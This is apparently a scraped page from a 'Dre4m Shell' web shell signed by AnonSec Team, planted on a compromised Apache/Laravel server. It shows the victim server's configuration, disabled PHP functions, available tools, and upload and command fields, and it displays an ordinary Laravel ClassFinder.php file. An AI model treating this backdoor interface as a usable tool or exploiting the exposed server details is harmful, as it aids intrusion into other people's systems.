Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.144.112.72
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vendor/laravel/framework/src/Illuminate/Filesystem/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/vendor/laravel/framework/src/Illuminate/Filesystem/ClassFinder.php
<?php

namespace Illuminate\Filesystem;

use Symfony\Component\Finder\Finder;

class ClassFinder
{
    /**
     * Find all the class and interface names in a given directory.
     *
     * @param  string  $directory
     * @return array
     */
    public function findClasses($directory)
    {
        $classes = [];

        foreach (Finder::create()->in($directory)->name('*.php') as $file) {
            $classes[] = $this->findClass($file->getRealPath());
        }

        return array_filter($classes);
    }

    /**
     * Extract the class name from the file at the given path.
     *
     * @param  string  $path
     * @return string|null
     */
    public function findClass($path)
    {
        $namespace = null;

        $tokens = token_get_all(file_get_contents($path));

        foreach ($tokens as $key => $token) {
            if ($this->tokenIsNamespace($token)) {
                $namespace = $this->getNamespace($key + 2, $tokens);
            } elseif ($this->tokenIsClassOrInterface($token)) {
                return ltrim($namespace.'\\'.$this->getClass($key + 2, $tokens), '\\');
            }
        }
    }

    /**
     * Find the namespace in the tokens starting at a given key.
     *
     * @param  int  $key
     * @param  array  $tokens
     * @return string|null
     */
    protected function getNamespace($key, array $tokens)
    {
        $namespace = null;

        $tokenCount = count($tokens);

        for ($i = $key; $i < $tokenCount; $i++) {
            if ($this->isPartOfNamespace($tokens[$i])) {
                $namespace .= $tokens[$i][1];
            } elseif ($tokens[$i] == ';') {
                return $namespace;
            }
        }
    }

    /**
     * Find the class in the tokens starting at a given key.
     *
     * @param  int  $key
     * @param  array  $tokens
     * @return string|null
     */
    protected function getClass($key, array $tokens)
    {
        $class = null;

        $tokenCount = count($tokens);

        for ($i = $key; $i < $tokenCount; $i++) {
            if ($this->isPartOfClass($tokens[$i])) {
                $class .= $tokens[$i][1];
            } elseif ($this->isWhitespace($tokens[$i])) {
                return $class;
            }
        }
    }

    /**
     * Determine if the given token is a namespace keyword.
     *
     * @param  array|string  $token
     * @return bool
     */
    protected function tokenIsNamespace($token)
    {
        return is_array($token) && $token[0] == T_NAMESPACE;
    }

    /**
     * Determine if the given token is a class or interface keyword.
     *
     * @param  array|string  $token
     * @return bool
     */
    protected function tokenIsClassOrInterface($token)
    {
        return is_array($token) && ($token[0] == T_CLASS || $token[0] == T_INTERFACE);
    }

    /**
     * Determine if the given token is part of the namespace.
     *
     * @param  array|string  $token
     * @return bool
     */
    protected function isPartOfNamespace($token)
    {
        return is_array($token) && ($token[0] == T_STRING || $token[0] == T_NS_SEPARATOR);
    }

    /**
     * Determine if the given token is part of the class.
     *
     * @param  array|string  $token
     * @return bool
     */
    protected function isPartOfClass($token)
    {
        return is_array($token) && $token[0] == T_STRING;
    }

    /**
     * Determine if the given token is whitespace.
     *
     * @param  array|string  $token
     * @return bool
     */
    protected function isWhitespace($token)
    {
        return is_array($token) && $token[0] == T_WHITESPACE;
    }
}

Anon7 - 2022
AnonSec Team